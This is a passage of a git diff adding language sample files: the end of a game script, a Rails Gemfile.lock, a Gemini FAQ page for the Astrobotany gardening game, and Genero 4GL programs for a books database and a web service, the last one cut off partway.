+
+	anim.badPlaces = []; // queue for animscript badplaces
+	anim.badPlaceInt = 0; // assigns unique names to animscript badplaces since we cant save a badplace as an entity
+
+	anim.coverCrouchLeanPitch = -55;
+	
+	anim.lastCarExplosionTime = -100000;
+}
+
+onPlayerConnect()
+{
+	player = self;
+	
+	// make sure the init has been called
+	firstInit();
+
+	player.invul = false;
+}
+
diff --git a/samples/Gemfile.lock/filenames/Gemfile.lock b/samples/Gemfile.lock/filenames/Gemfile.lock
new file mode 100644
index 0000000000..586fe73864
--- /dev/null
+++ b/samples/Gemfile.lock/filenames/Gemfile.lock
@@ -0,0 +1,640 @@
+GIT
+  remote: https://github.com/QueueClassic/queue_classic.git
+  revision: 1e40ddd810c416619ead88316b2b251936ee2495
+  specs:
+    queue_classic (4.0.0.pre.alpha1)
+      pg (>= 0.17, < 2.0)
+
+GIT
+  remote: https://github.com/brianmario/mysql2.git
+  revision: e2503dc6e8ad02f8c2f4fc71006f9840694e319c
+  specs:
+    mysql2 (0.5.3)
+
+GIT
+  remote: https://github.com/matthewd/websocket-client-simple.git
+  revision: e161305f1a466b9398d86df3b1731b03362da91b
+  branch: close-race
+  specs:
+    websocket-client-simple (0.3.0)
+      event_emitter
+      websocket
+
+PATH
+  remote: .
+  specs:
+    actioncable (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      nio4r (~> 2.0)
+      websocket-driver (>= 0.6.1)
+    actionmailbox (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      activejob (= 7.0.0.alpha)
+      activerecord (= 7.0.0.alpha)
+      activestorage (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      mail (>= 2.7.1)
+    actionmailer (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      actionview (= 7.0.0.alpha)
+      activejob (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      mail (~> 2.5, >= 2.5.4)
+      rails-dom-testing (~> 2.0)
+    actionpack (7.0.0.alpha)
+      actionview (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      rack (~> 2.0, >= 2.0.9)
+      rack-test (>= 0.6.3)
+      rails-dom-testing (~> 2.0)
+      rails-html-sanitizer (~> 1.0, >= 1.2.0)
+    actiontext (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      activerecord (= 7.0.0.alpha)
+      activestorage (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      nokogiri (>= 1.8.5)
+    actionview (7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      builder (~> 3.1)
+      erubi (~> 1.4)
+      rails-dom-testing (~> 2.0)
+      rails-html-sanitizer (~> 1.1, >= 1.2.0)
+    activejob (7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      globalid (>= 0.3.6)
+    activemodel (7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+    activerecord (7.0.0.alpha)
+      activemodel (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+    activestorage (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      activejob (= 7.0.0.alpha)
+      activerecord (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      marcel (~> 0.3.1)
+      mimemagic (~> 0.3.2)
+    activesupport (7.0.0.alpha)
+      concurrent-ruby (~> 1.0, >= 1.0.2)
+      i18n (>= 1.6, < 2)
+      minitest (>= 5.1)
+      tzinfo (~> 2.0)
+      zeitwerk (~> 2.3)
+    rails (7.0.0.alpha)
+      actioncable (= 7.0.0.alpha)
+      actionmailbox (= 7.0.0.alpha)
+      actionmailer (= 7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      actiontext (= 7.0.0.alpha)
+      actionview (= 7.0.0.alpha)
+      activejob (= 7.0.0.alpha)
+      activemodel (= 7.0.0.alpha)
+      activerecord (= 7.0.0.alpha)
+      activestorage (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      bundler (>= 1.15.0)
+      railties (= 7.0.0.alpha)
+      sprockets-rails (>= 2.0.0)
+    railties (7.0.0.alpha)
+      actionpack (= 7.0.0.alpha)
+      activesupport (= 7.0.0.alpha)
+      method_source
+      rake (>= 0.8.7)
+      thor (~> 1.0)
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    activerecord-jdbc-adapter (61.0-java)
+      activerecord (~> 6.1.0)
+    activerecord-jdbcmysql-adapter (61.0-java)
+      activerecord-jdbc-adapter (= 61.0)
+      jdbc-mysql (~> 5.1.36, < 9)
+    activerecord-jdbcpostgresql-adapter (61.0-java)
+      activerecord-jdbc-adapter (= 61.0)
+      jdbc-postgres (>= 9.4, < 43)
+    activerecord-jdbcsqlite3-adapter (61.0-java)
+      activerecord-jdbc-adapter (= 61.0)
+      jdbc-sqlite3 (~> 3.8, < 3.30)
+    addressable (2.7.0)
+      public_suffix (>= 2.0.2, < 5.0)
+    amq-protocol (2.3.2)
+    ansi (1.5.0)
+    ast (2.4.1)
+    aws-eventstream (1.1.0)
+    aws-partitions (1.417.0)
+    aws-sdk-core (3.111.2)
+      aws-eventstream (~> 1, >= 1.0.2)
+      aws-partitions (~> 1, >= 1.239.0)
+      aws-sigv4 (~> 1.1)
+      jmespath (~> 1.0)
+    aws-sdk-kms (1.41.0)
+      aws-sdk-core (~> 3, >= 3.109.0)
+      aws-sigv4 (~> 1.1)
+    aws-sdk-s3 (1.87.0)
+      aws-sdk-core (~> 3, >= 3.109.0)
+      aws-sdk-kms (~> 1)
+      aws-sigv4 (~> 1.1)
+    aws-sdk-sns (1.37.0)
+      aws-sdk-core (~> 3, >= 3.109.0)
+      aws-sigv4 (~> 1.1)
+    aws-sigv4 (1.2.2)
+      aws-eventstream (~> 1, >= 1.0.2)
+    azure-storage-blob (2.0.1)
+      azure-storage-common (~> 2.0)
+      nokogiri (~> 1.11.0.rc2)
+    azure-storage-common (2.0.2)
+      faraday (~> 1.0)
+      faraday_middleware (~> 1.0.0.rc1)
+      net-http-persistent (~> 4.0)
+      nokogiri (~> 1.11.0.rc2)
+    backburner (1.5.0)
+      beaneater (~> 1.0)
+      concurrent-ruby (~> 1.0, >= 1.0.1)
+      dante (> 0.1.5)
+    bcrypt (3.1.16)
+    bcrypt (3.1.16-java)
+    beaneater (1.0.0)
+    benchmark-ips (2.8.4)
+    blade (0.7.1)
+      activesupport (>= 3.0.0)
+      blade-qunit_adapter (~> 2.0.1)
+      coffee-script
+      coffee-script-source
+      curses (~> 1.0.0)
+      eventmachine
+      faye
+      sprockets (>= 3.0)
+      thin (>= 1.6.0)
+      thor (>= 0.19.1)
+      useragent (~> 0.16.7)
+    blade-qunit_adapter (2.0.1)
+    bootsnap (1.5.1)
+      msgpack (~> 1.0)
+    bootsnap (1.5.1-java)
+      msgpack (~> 1.0)
+    builder (3.2.4)
+    bunny (2.17.0)
+      amq-protocol (~> 2.3, >= 2.3.1)
+    byebug (11.1.3)
+    capybara (3.34.0)
+      addressable
+      mini_mime (>= 0.1.3)
+      nokogiri (~> 1.8)
+      rack (>= 1.6.0)
+      rack-test (>= 0.6.3)
+      regexp_parser (~> 1.5)
+      xpath (~> 3.2)
+    childprocess (4.0.0)
+    coffee-script (2.4.1)
+      coffee-script-source
+      execjs
+    coffee-script-source (1.12.2)
+    concurrent-ruby (1.1.8)
+    connection_pool (2.2.3)
+    cookiejar (0.3.3)
+    crack (0.4.5)
+      rexml
+    crass (1.0.6)
+    curses (1.0.2)
+    daemons (1.3.1)
+    dalli (2.7.11)
+    dante (0.2.0)
+    declarative (0.0.20)
+    declarative-option (0.1.0)
+    delayed_job (4.1.9)
+      activesupport (>= 3.0, < 6.2)
+    delayed_job_active_record (4.1.5)
+      activerecord (>= 3.0, < 6.2)
+      delayed_job (>= 3.0, < 5)
+    digest-crc (0.6.3)
+      rake (>= 12.0.0, < 14.0.0)
+    em-http-request (1.1.7)
+      addressable (>= 2.3.4)
+      cookiejar (!= 0.3.1)
+      em-socksify (>= 0.3)
+      eventmachine (>= 1.0.3)
+      http_parser.rb (>= 0.6.0)
+    em-socksify (0.3.2)
+      eventmachine (>= 1.0.0.beta.4)
+    erubi (1.10.0)
+    et-orbi (1.2.4)
+      tzinfo
+    event_emitter (0.2.6)
+    eventmachine (1.2.7)
+    execjs (2.7.0)
+    faraday (1.3.0)
+      faraday-net_http (~> 1.0)
+      multipart-post (>= 1.2, < 3)
+      ruby2_keywords
+    faraday-net_http (1.0.1)
+    faraday_middleware (1.0.0)
+      faraday (~> 1.0)
+    faye (1.4.0)
+      cookiejar (>= 0.3.0)
+      em-http-request (>= 1.1.6)
+      eventmachine (>= 0.12.0)
+      faye-websocket (>= 0.11.0)
+      multi_json (>= 1.0.0)
+      rack (>= 1.0.0)
+      websocket-driver (>= 0.5.1)
+    faye-websocket (0.11.0)
+      eventmachine (>= 0.12.0)
+      websocket-driver (>= 0.5.1)
+    ffi (1.14.2)
+    ffi (1.14.2-java)
+    ffi (1.14.2-x64-mingw32)
+    ffi (1.14.2-x86-mingw32)
+    fugit (1.4.2)
+      et-orbi (~> 1.1, >= 1.1.8)
+      raabro (~> 1.4)
+    globalid (0.4.2)
+      activesupport (>= 4.2.0)
+    google-apis-core (0.2.0)
+      addressable (~> 2.5, >= 2.5.1)
+      googleauth (~> 0.14)
+      httpclient (>= 2.8.1, < 3.0)
+      mini_mime (~> 1.0)
+      representable (~> 3.0)
+      retriable (>= 2.0, < 4.0)
+      rexml
+      signet (~> 0.14)
+    google-apis-iamcredentials_v1 (0.1.0)
+      google-apis-core (~> 0.1)
+    google-apis-storage_v1 (0.1.0)
+      google-apis-core (~> 0.1)
+    google-cloud-core (1.5.0)
+      google-cloud-env (~> 1.0)
+      google-cloud-errors (~> 1.0)
+    google-cloud-env (1.4.0)
+      faraday (>= 0.17.3, < 2.0)
+    google-cloud-errors (1.0.1)
+    google-cloud-storage (1.30.0)
+      addressable (~> 2.5)
+      digest-crc (~> 0.4)
+      google-apis-iamcredentials_v1 (~> 0.1)
+      google-apis-storage_v1 (~> 0.1)
+      google-cloud-core (~> 1.2)
+      googleauth (~> 0.9)
+      mini_mime (~> 1.0)
+    googleauth (0.14.0)
+      faraday (>= 0.17.3, < 2.0)
+      jwt (>= 1.4, < 3.0)
+      memoist (~> 0.16)
+      multi_json (~> 1.11)
+      os (>= 0.9, < 2.0)
+      signet (~> 0.14)
+    hashdiff (1.0.1)
+    hiredis (0.6.3)
+    hiredis (0.6.3-java)
+    http_parser.rb (0.6.0)
+    httpclient (2.8.3)
+    i18n (1.8.7)
+      concurrent-ruby (~> 1.0)
+    image_processing (1.12.1)
+      mini_magick (>= 4.9.5, < 5)
+      ruby-vips (>= 2.0.17, < 3)
+    jdbc-mysql (5.1.47)
+    jdbc-postgres (42.2.14)
+    jdbc-sqlite3 (3.28.0)
+    jmespath (1.4.0)
+    json (2.5.1)
+    json (2.5.1-java)
+    jwt (2.2.2)
+    kindlerb (1.2.0)
+      mustache
+      nokogiri
+    libxml-ruby (3.2.1)
+    listen (3.4.1)
+      rb-fsevent (~> 0.10, >= 0.10.3)
+      rb-inotify (~> 0.9, >= 0.9.10)
+    loofah (2.9.0)
+      crass (~> 1.0.2)
+      nokogiri (>= 1.5.9)
+    mail (2.7.1)
+      mini_mime (>= 0.1.1)
+    marcel (0.3.3)
+      mimemagic (~> 0.3.2)
+    memoist (0.16.2)
+    method_source (1.0.0)
+    mimemagic (0.3.5)
+    mini_magick (4.11.0)
+    mini_mime (1.0.2)
+    mini_portile2 (2.5.0)
+    minitest (5.14.3)
+    minitest-bisect (1.5.1)
+      minitest-server (~> 1.0)
+      path_expander (~> 1.1)
+    minitest-reporters (1.4.2)
+      ansi
+      builder
+      minitest (>= 5.0)
+      ruby-progressbar
+    minitest-retry (0.2.1)
+      minitest (>= 5.0)
+    minitest-server (1.0.6)
+      minitest (~> 5.0)
+    mono_logger (1.1.0)
+    msgpack (1.3.3)
+    msgpack (1.3.3-java)
+    msgpack (1.3.3-x64-mingw32)
+    msgpack (1.3.3-x86-mingw32)
+    multi_json (1.15.0)
+    multipart-post (2.1.1)
+    mustache (1.1.1)
+    mustermann (1.1.1)
+      ruby2_keywords (~> 0.0.1)
+    net-http-persistent (4.0.1)
+      connection_pool (~> 2.2)
+    nio4r (2.5.4)
+    nio4r (2.5.4-java)
+    nokogiri (1.11.1)
+      mini_portile2 (~> 2.5.0)
+      racc (~> 1.4)
+    nokogiri (1.11.1-java)
+      racc (~> 1.4)
+    nokogiri (1.11.1-x64-mingw32)
+      racc (~> 1.4)
+    nokogiri (1.11.1-x86-mingw32)
+      racc (~> 1.4)
+    nokogiri (1.11.1-x86_64-darwin)
+      racc (~> 1.4)
+    os (1.1.1)
+    parallel (1.20.1)
+    parser (3.0.0.0)
+      ast (~> 2.4.1)
+    path_expander (1.1.0)
+    pg (1.2.3)
+    pg (1.2.3-x64-mingw32)
+    pg (1.2.3-x86-mingw32)
+    psych (3.3.0)
+    public_suffix (4.0.6)
+    puma (5.1.1)
+      nio4r (~> 2.0)
+    puma (5.1.1-java)
+      nio4r (~> 2.0)
+    que (0.14.3)
+    qunit-selenium (0.0.4)
+      selenium-webdriver
+      thor
+    raabro (1.4.0)
+    racc (1.5.2)
+    rack (2.2.3)
+    rack-cache (1.12.1)
+      rack (>= 0.4)
+    rack-protection (2.1.0)
+      rack
+    rack-proxy (0.6.5)
+      rack
+    rack-test (1.1.0)
+      rack (>= 1.0, < 3)
+    rails-dom-testing (2.0.3)
+      activesupport (>= 4.2.0)
+      nokogiri (>= 1.6)
+    rails-html-sanitizer (1.3.0)
+      loofah (~> 2.3)
+    rainbow (3.0.0)
+    rake (13.0.3)
+    rb-fsevent (0.10.4)
+    rb-inotify (0.10.1)
+      ffi (~> 1.0)
+    rdoc (6.3.0)
+    redcarpet (3.2.3)
+    redis (4.2.5)
+    redis-namespace (1.8.1)
+      redis (>= 3.0.4)
+    regexp_parser (1.8.2)
+    representable (3.0.4)
+      declarative (< 0.1.0)
+      declarative-option (< 0.2.0)
+      uber (< 0.2.0)
+    resque (2.0.0)
+      mono_logger (~> 1.0)
+      multi_json (~> 1.0)
+      redis-namespace (~> 1.6)
+      sinatra (>= 0.9.2)
+      vegas (~> 0.1.2)
+    resque-scheduler (4.4.0)
+      mono_logger (~> 1.0)
+      redis (>= 3.3)
+      resque (>= 1.26)
+      rufus-scheduler (~> 3.2)
+    retriable (3.1.2)
+    rexml (3.2.4)
+    rouge (3.26.0)
+    rubocop (1.8.1)
+      parallel (~> 1.10)
+      parser (>= 3.0.0.0)
+      rainbow (>= 2.2.2, < 4.0)
+      regexp_parser (>= 1.8, < 3.0)
+      rexml
+      rubocop-ast (>= 1.2.0, < 2.0)
+      ruby-progressbar (~> 1.7)
+      unicode-display_width (>= 1.4.0, < 3.0)
+    rubocop-ast (1.4.0)
+      parser (>= 2.7.1.5)
+    rubocop-packaging (0.5.1)
+      rubocop (>= 0.89, < 2.0)
+    rubocop-performance (1.9.2)
+      rubocop (>= 0.90.0, < 2.0)
+      rubocop-ast (>= 0.4.0)
+    rubocop-rails (2.9.1)
+      activesupport (>= 4.2.0)
+      rack (>= 1.1)
+      rubocop (>= 0.90.0, < 2.0)
+    ruby-progressbar (1.11.0)
+    ruby-vips (2.0.17)
+      ffi (~> 1.9)
+    ruby2_keywords (0.0.4)
+    rubyzip (2.3.0)
+    rufus-scheduler (3.7.0)
+      fugit (~> 1.1, >= 1.1.6)
+    sass-rails (6.0.0)
+      sassc-rails (~> 2.1, >= 2.1.1)
+    sassc (2.4.0)
+      ffi (~> 1.9)
+    sassc (2.4.0-x64-mingw32)
+      ffi (~> 1.9)
+    sassc-rails (2.1.2)
+      railties (>= 4.0.0)
+      sassc (>= 2.0)
+      sprockets (> 3.0)
+      sprockets-rails
+      tilt
+    sdoc (2.0.4)
+      rdoc (>= 5.0)
+    selenium-webdriver (4.0.0.alpha7)
+      childprocess (>= 0.5, < 5.0)
+      rubyzip (>= 1.2.2)
+      websocket (~> 1.0)
+    semantic_range (2.3.1)
+    sequel (5.40.0)
+    serverengine (2.0.7)
+      sigdump (~> 0.2.2)
+    sidekiq (6.1.3)
+      connection_pool (>= 2.2.2)
+      rack (~> 2.0)
+      redis (>= 4.2.0)
+    sigdump (0.2.4)
+    signet (0.14.0)
+      addressable (~> 2.3)
+      faraday (>= 0.17.3, < 2.0)
+      jwt (>= 1.5, < 3.0)
+      multi_json (~> 1.10)
+    sinatra (2.1.0)
+      mustermann (~> 1.0)
+      rack (~> 2.2)
+      rack-protection (= 2.1.0)
+      tilt (~> 2.0)
+    sneakers (2.11.0)
+      bunny (~> 2.12)
+      concurrent-ruby (~> 1.0)
+      rake
+      serverengine (~> 2.0.5)
+      thor
+    sprockets (4.0.2)
+      concurrent-ruby (~> 1.0)
+      rack (> 1, < 3)
+    sprockets-export (1.0.0)
+    sprockets-rails (3.2.2)
+      actionpack (>= 4.0)
+      activesupport (>= 4.0)
+      sprockets (>= 3.0.0)
+    sqlite3 (1.4.2)
+    stackprof (0.2.16)
+    sucker_punch (2.1.2)
+      concurrent-ruby (~> 1.0)
+    thin (1.8.0)
+      daemons (~> 1.0, >= 1.0.9)
+      eventmachine (~> 1.0, >= 1.0.4)
+      rack (>= 1, < 3)
+    thor (1.1.0)
+    tilt (2.0.10)
+    turbolinks (5.2.1)
+      turbolinks-source (~> 5.2)
+    turbolinks-source (5.2.0)
+    tzinfo (2.0.4)
+      concurrent-ruby (~> 1.0)
+    tzinfo-data (1.2020.6)
+      tzinfo (>= 1.0.0)
+    uber (0.1.0)
+    uglifier (4.2.0)
+      execjs (>= 0.3.0, < 3)
+    unicode-display_width (2.0.0)
+    useragent (0.16.10)
+    vegas (0.1.11)
+      rack (>= 1.0.0)
+    w3c_validators (1.3.6)
+      json (>= 1.8)
+      nokogiri (~> 1.6)
+      rexml (~> 3.2)
+    wdm (0.1.1)
+    webdrivers (4.5.0)
+      nokogiri (~> 1.6)
+      rubyzip (>= 1.3.0)
+      selenium-webdriver (>= 3.0, < 4.0)
+    webmock (3.11.1)
+      addressable (>= 2.3.6)
+      crack (>= 0.3.2)
+      hashdiff (>= 0.4.0, < 2.0.0)
+    webpacker (5.2.1)
+      activesupport (>= 5.2)
+      rack-proxy (>= 0.6.1)
+      railties (>= 5.2)
+      semantic_range (>= 2.3.0)
+    webrick (1.7.0)
+    websocket (1.2.9)
+    websocket-driver (0.7.3)
+      websocket-extensions (>= 0.1.0)
+    websocket-driver (0.7.3-java)
+      websocket-extensions (>= 0.1.0)
+    websocket-extensions (0.1.5)
+    xpath (3.2.0)
+      nokogiri (~> 1.8)
+    zeitwerk (2.4.2)
+
+PLATFORMS
+  java
+  mswin64
+  ruby
+  x64-mingw32
+  x86-mingw32
+  x86-mswin32
+  x86_64-darwin-19
+
+DEPENDENCIES
+  activerecord-jdbcmysql-adapter (>= 1.3.0)
+  activerecord-jdbcpostgresql-adapter (>= 1.3.0)
+  activerecord-jdbcsqlite3-adapter (>= 1.3.0)
+  aws-sdk-s3
+  aws-sdk-sns
+  azure-storage-blob
+  backburner
+  bcrypt (~> 3.1.11)
+  benchmark-ips
+  blade
+  bootsnap (>= 1.4.4)
+  byebug
+  capybara (>= 3.26)
+  connection_pool
+  dalli
+  delayed_job
+  delayed_job_active_record
+  google-cloud-storage (~> 1.11)
+  hiredis
+  image_processing (~> 1.2)
+  json (>= 2.0.0)
+  kindlerb (~> 1.2.0)
+  libxml-ruby
+  listen (~> 3.3)
+  minitest-bisect
+  minitest-reporters
+  minitest-retry
+  mysql2 (~> 0.5)!
+  nokogiri (>= 1.8.1, != 1.11.0)
+  pg (~> 1.1)
+  psych (~> 3.0)
+  puma
+  que
+  queue_classic!
+  qunit-selenium
+  racc (>= 1.4.6)
+  rack-cache (~> 1.2)
+  rails!
+  rake (>= 11.1)
+  redcarpet (~> 3.2.3)
+  redis (~> 4.0)
+  redis-namespace
+  resque
+  resque-scheduler
+  rexml
+  rouge
+  rubocop (>= 0.90)
+  rubocop-packaging
+  rubocop-performance
+  rubocop-rails
+  sass-rails
+  sdoc (>= 2.0.4)
+  selenium-webdriver (>= 4.0.0.alpha7)
+  sequel
+  sidekiq
+  sneakers
+  sprockets-export
+  sqlite3 (~> 1.4)
+  stackprof
+  sucker_punch
+  turbolinks (~> 5)
+  tzinfo-data
+  uglifier (>= 1.3.0)
+  w3c_validators (~> 1.3.6)
+  wdm (>= 0.1.0)
+  webdrivers
+  webmock
+  webpacker (~> 5.0)
+  webrick
+  websocket-client-simple!
+
+BUNDLED WITH
+   2.2.3
diff --git a/samples/Gemini/instructions.gmi b/samples/Gemini/instructions.gmi
new file mode 100644
index 0000000000..043ae67f2d
--- /dev/null
+++ b/samples/Gemini/instructions.gmi
@@ -0,0 +1,77 @@
+# Astrobotany - FAQ
+
+```
+             .--'}        _   ,
+          ,<{.-'{:} -====;o`\/ }
+      __ ((  '--.}        \-`\-'----.
+      \_\ \\   __          \ |-..-'`
+      ___\_))_/_/          /\/\
+     /_/  ((               `--`
+       jgs \\
+```
+
+=> / 🚶 Go back
+
+## Creating an Account
+
+Astrobotany uses self-signed (TOFU) client certificates for authentication. In order to join in the fun, use your preferred gemini client to generate a new certificate. The subject fields in the certificate (name, location, email, CN, ...) don't matter. You can either leave them blank, or you can enter in values for your own records.
+
+Once you have generated your certificate, attempt to login and you will be guided through the process of creating an account.
+
+## Gardening Basics
+
+You've been given a seed that will grow into a beautiful plant!
+
+* Check back every 24 hours to water your plant.
+* Your score will increase as long as the soil remains damp.
+* Your plant will die after 5 days without water.
+
+## Plant Stages
+
+Your plant will continue to grow and evolve over time.
+
+* seed (0 days)
+* seedling (3 day)
+* young (3 days)
+* mature (10 days)
+* flowering (20 days)
+* seed-bearing (30 days)
+
+## Generations
+
+Once your plant reaches the seed-bearing stage, you will be given the option to either keep going or harvest your plant. If you chose to harvest, your score will reset and you will start over with a generation score multiplier.
+
+```
+generation | multiplier
+---------- | ----------
+1          | 1.00
+2          | 1.20
+3          | 1.40
+4          | 1.60
+5          | 1.80
+6          | 2.00
+7          | 2.20
+8          | 2.40
+9          | 2.60
+10         | 2.80
+```
+
+## Registration (Legacy)
+
+The original guide for astrobotany user registration involved using certificate signing requests (CSRs). It's documented here for historical reference.
+
+=> /static/register_old.gmi Legacy Registration Guide
+
+## Credits
+
+Astrobotany is a fork of the tilde.town pubnix game, botany.
+
+Botany, by Jake Funke
+=> https://github.com/jifunks/botany
+
+Astrobotany, by Michael Lazar
+=> https://github.com/michael-lazar/astrobotany
+
+Most of the ASCII art on this capsule (besides the plants) was created by Joan G. Stark. ANSI colorization added by Michael Lazar.
+
+=> https://web.archive.org/web/20091028031718/http://www.geocities.com/SoHo/7373/indexother.htm jgs geocities site (internet archive)
diff --git a/samples/Genero 4gl/books1.4gl b/samples/Genero 4gl/books1.4gl
new file mode 100644
index 0000000000..dd02ba309d
--- /dev/null
+++ b/samples/Genero 4gl/books1.4gl	
@@ -0,0 +1,183 @@
+-- To test the sample:
+--
+-- $ sed -n 's/\#\# \(.*\)/\1/p' books1.4gl > library.sch
+-- $ fglform -M ../"Genero Forms"/books1.per
+-- $ mv ../"Genero Forms"/books1.42f .
+-- $ fglcomp -M books1.4gl
+-- $ fglrun books1.42m
+--
+
+SCHEMA library
+
+PUBLIC TYPE t_book RECORD LIKE book.*
+PUBLIC TYPE t_book_array DYNAMIC ARRAY OF t_book
+
+PRIVATE CONSTANT ID_UNKNOWN = 100
+
+MAIN
+
+    DEFINE books t_book_array
+    DEFINE brec t_book
+    DEFINE f_plot LIKE book.b_plot
+
+    CONNECT TO ":memory:+driver='dbmsqt'"
+
+    CALL create_tables()
+
+    OPEN FORM f1 FROM "books1"
+    DISPLAY FORM f1
+
+    CALL fill_book_array(books)
+
+    DIALOG ATTRIBUTES(UNBUFFERED)
+
+    DISPLAY ARRAY books TO sr1.*
+
+        BEFORE ROW
+            LET f_plot = books[ arr_curr() ].b_plot
+
+        ON ACTION nbrows ATTRIBUTES(TEXT="Row count")
+            MESSAGE SFMT("Number of books: %1",books.getLength())
+
+        ON INSERT
+            LET f_plot = NULL
+            INITIALIZE brec.* TO NULL
+            LET brec.b_author = ID_UNKNOWN
+            LET brec.b_pub_date = TODAY
+            LET brec.b_price = 0
+            CLEAR formonly.f_plot
+            INPUT brec.* FROM sr1[ scr_line() ].*
+                  ATTRIBUTES(WITHOUT DEFAULTS);
+            IF NOT int_flag THEN
+                TRY
+                    INSERT INTO book VALUES brec.*
+                    LET brec.book_id = sqlca.sqlerrd[2]
+                    LET books[ DIALOG.getCurrentRow("sr1") ] = brec
+                    MESSAGE SFMT("New book record created (id=%1)",brec.book_id)
+                CATCH
+                    ERROR "Could not insert new book row into database:", SQLERRMESSAGE
+                END TRY
+            END IF
+
+        ON DELETE
+            IF mbox_yn("Delete the current row?") THEN
+                TRY
+                    DELETE FROM book WHERE book_id = books[arr_curr()].book_id
+                    MESSAGE "Book record was deleted"
+                CATCH
+                    ERROR "Could not delete the book row from database:", SQLERRMESSAGE
+                END TRY
+            END IF
+
+    END DISPLAY
+
+    INPUT BY NAME f_plot
+
+        ON ACTION clear_plot ATTRIBUTES(TEXT="Clear")
+            IF NOT mbox_yn("Are you sure you want to clear the plot summary?") THEN
+                CONTINUE DIALOG
+            END IF
+            LET f_plot = NULL
+            LET books[ arr_curr() ].b_plot = NULL
+            UPDATE book SET b_plot = NULL
+             WHERE book_id = books[ arr_curr() ].book_id
+
+        ON ACTION update_plot ATTRIBUTES(TEXT="Save")
+            LET books[ arr_curr() ].b_plot = f_plot
+            UPDATE book SET b_plot = f_plot
+             WHERE book_id = books[ arr_curr() ].book_id
+            MESSAGE SFMT("Plot summary saved (%1)",CURRENT HOUR TO SECOND)
+
+    END INPUT
+
+    ON ACTION close
+        ACCEPT DIALOG
+
+    END DIALOG
+
+END MAIN
+
+PRIVATE FUNCTION mbox_yn(question STRING) RETURNS BOOLEAN
+     DEFINE r BOOLEAN
+     MENU "Books" ATTRIBUTES(STYLE="dialog", COMMENT=question)
+         COMMAND "Yes" LET r = TRUE
+         COMMAND "No"  LET r = FALSE
+     END MENU
+     RETURN r
+END FUNCTION
+
+FUNCTION fill_book_array(ba t_book_array)
+    RETURNS ()
+
+    DEFINE x INTEGER
+
+    DECLARE c1 CURSOR FOR
+      SELECT * FROM book ORDER BY b_title
+
+    LET x = 1
+    FOREACH c1 INTO ba[x].*
+        LET x = x + 1
+    END FOREACH
+    CALL ba.deleteElement(x)
+
+END FUNCTION
+
+FUNCTION init_authors(e ui.ComboBox)
+    RETURNS ()
+
+    DEFINE id LIKE author.auth_id
+    DEFINE name LIKE author.a_name
+
+    DECLARE c2 CURSOR FOR
+     SELECT auth_id, a_name FROM author ORDER BY a_name
+
+    FOREACH c2 INTO id, name
+        CALL e.addItem( id, name )
+    END FOREACH
+
+END FUNCTION
+
+FUNCTION create_tables()
+   RETURNS ()
+
+   CREATE TABLE author (
+       auth_id SERIAL NOT NULL PRIMARY KEY,
+       a_name VARCHAR(50)
+   );
+
+   CREATE TABLE book (
+       book_id SERIAL NOT NULL PRIMARY KEY,
+       b_title VARCHAR(100) NOT NULL,
+       b_author INTEGER NOT NULL REFERENCES author(auth_id),
+       b_isbn VARCHAR(20) NOT NULL UNIQUE,
+       b_pub_date DATE,
+       b_price DECIMAL(10,2),
+       b_plot VARCHAR(500)
+   );
+
+   INSERT INTO author VALUES ( 100, '?UNDEFINED?' );
+
+   INSERT INTO author VALUES ( 101, 'Stephen KING' );
+   INSERT INTO book VALUES ( 10101, 'The Talisman',  101, '978-0-670-69199-9',  '1984-11-08', 15.60, NULL );
+   INSERT INTO book VALUES ( 10102, 'Doctor Sleep',  101, '978-1-4767-2765-3',  '2013-09-24', 12.00, NULL );
+   INSERT INTO book VALUES ( 10103, 'The Long Walk', 101, '978-0-451-08754-6',  '1979-07-11', 14.30, NULL );
+
+   INSERT INTO author VALUES ( 103, 'Dan Brown' );
+   INSERT INTO book VALUES ( 10301, 'Digital Fortress',  103, '0-312-18087-X',  '1998-01-01', 10.20, NULL );
+   INSERT INTO book VALUES ( 10302, 'Angels & Demons',   103, '0-671-02735-2 ', '2000-04-01', 14.55, NULL );
+
+   -- For PostgreSQL
+   -- SELECT setval( pg_get_serial_sequence('author','auth_id'), 200 );
+   -- SELECT setval( pg_get_serial_sequence('book','book_id'), 20000 );
+
+END FUNCTION
+
+## author^auth_id^262^4^1^
+## author^a_name^201^50^2^
+## book^book_id^262^4^1^
+## book^b_title^457^100^2^
+## book^b_author^258^4^3^
+## book^b_isbn^457^20^4^
+## book^b_pub_date^7^4^5^
+## book^b_price^5^2562^6^
+## book^b_plot^201^500^7^
diff --git a/samples/Genero 4gl/webserv1.4gl b/samples/Genero 4gl/webserv1.4gl
new file mode 100644
index 0000000000..a2863e19ce
--- /dev/null
+++ b/samples/Genero 4gl/webserv1.4gl	
@@ -0,0 +1,75 @@
+-- Testing the web service:
+--
+-- Define FGLAPPSERVER to a free TCP port:
+--   $ export FGLAPPSERVER=8089
+--
+-- Compile and start the server program:
+--   $ fglcomp WebService.4gl
+--   $ fglrun WebService.42m
+--
+-- Open a browser, and fetch the OpenAPI doc with:
+--
+--     http://localhost:8089/api?openapi.json
+--
+
+OPTIONS SHORT CIRCUIT
+
+IMPORT com
+IMPORT FGL webserv1_api
+
+MAIN
+
+    DEFER INTERRUPT
+    CALL startServer()
+
+END MAIN
+
+PRIVATE FUNCTION startServer() RETURNS()
+    DEFINE returnCode INTEGER
+
+    CALL com.WebServiceEngine.RegisterRestService("webserv_api", "api")
+
+    DISPLAY "Server started"
+
+    CALL com.WebServiceEngine.Start()
+
+    LET int_flag = FALSE
+    WHILE TRUE
